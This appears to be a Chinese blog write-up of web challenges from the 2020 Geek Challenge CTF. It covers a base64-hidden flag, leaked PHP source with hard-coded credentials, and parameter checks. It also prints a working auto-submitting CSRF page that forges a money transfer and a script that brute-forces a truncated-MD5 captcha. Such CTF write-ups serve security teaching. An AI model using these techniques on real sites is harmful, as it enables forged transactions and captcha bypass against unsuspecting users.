前言
2020极客大挑战开始了。又是一届自闭季。在变菜的路上一去不复返
web
一、朋友的学妹
打开题目
发现提示,然后查看控制窗口发现
然后看到base64加密,解密后得到flag。
二、EZWWW
打开题目
发现提示网站已经备份,那么就直接御剑扫后台得到
然后打开zip路径得到下载提示,打开
直接放弃文档里的flag。肯定假的。所以打开index.php,发现
<html>
<head>
<title>Lola's website1.0</title>
</head>
<body>
<?php echo '<h1>welcome to my website</h1>'; ?>
<?php echo '<p>i will never forget to backup my website......</p>'; ?>
<?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
</body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>
发现题目源码,然后按照源码意思,进行所给字符串的base64解码,然后post a=解码后的字符
。就会得到flag。
三、刘壮的黑页
打开题目
然后往下翻,发现php代码
<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
echo $flag;
}
所以按照代码所说,get、post两个参数进去得到flag。
四、welcome
打开题目
发现一串空白。然后就随便get了一个东西,但是发现题目提示还有第二种方法,就post了一个。
五、flagshop
听题目就是卖flag的了。打开注册进行登录。发现界面如下
钱包那里是成功之后的效果。
当时好奇点了个今晚去你家吃饭卡一下子就没钱了,让我本就不富裕的生活更加的雪上加霜。
回归正题,在转账界面可以进行转账,然后就试了一下给自己转账
然后感觉就是在留言界面进行操作了。但是具体怎么操作不了解,后来请教了团队大佬,经过他的讲解之后了解了可操作的原理。
原理:在报告界面有一个提交报告内容,在这里提交了内容后,后台会进行点击一次的操作,不过经过实验发现是只会点击一次
。也就是说,这个题目可以利用CSRF
漏洞进行攻击,但是需要自己写一个页面让后台点击,接着会自动跳转到转账页面,让服务器以为是后台转账操作。
然后就是强烈介绍我的大表哥–brupsuit
了。利用其自带功能,可以编写一个csrf攻击html网页
抓包页面是这样的,然后就
然后把源码copy一下,在本地创建一个html文档。名字随意。源码如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="qwasd" />
<input type="hidden" name="money" value="1000000000000000000000000000000000000000000000000000000" />
<input type="hidden" name="messages" value="123" />
<input type="submit" value="Submit request" id="onclick_1" />
</form>
<script type="text/javascript">
document.getElementById("onclick_1").click();
</script>
</body>
</html>
其中
<script type="text/javascript">
document.getElementById("onclick_1").click();
</script>
这一段代码用来实现页面进入后自动点击的操作。
然后由于是要后台点击你的链接,所以不能放在本地,有条件的哥哥姐姐们可以放在自己的服务器上面,小弟比较菜,就在博客里放了一个链接。也达到了同样的效果。
然后就是
上面验证码初看一脸懵逼,再看两眼迷离的,所以就问了大佬之后知道了是MD5截断加密。大佬还慷慨的给了我一个脚本用来爆破的
#-*- coding: utf-8 -*-
#!/usr/bin/env/python
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '6fb05' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:5] == knownMd5:
print(code)
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
然后最后加上自己的链接以及爆破出来的验证码,标题随便写,提交成功就等着转账到账了。
之后就是到账,购买flag。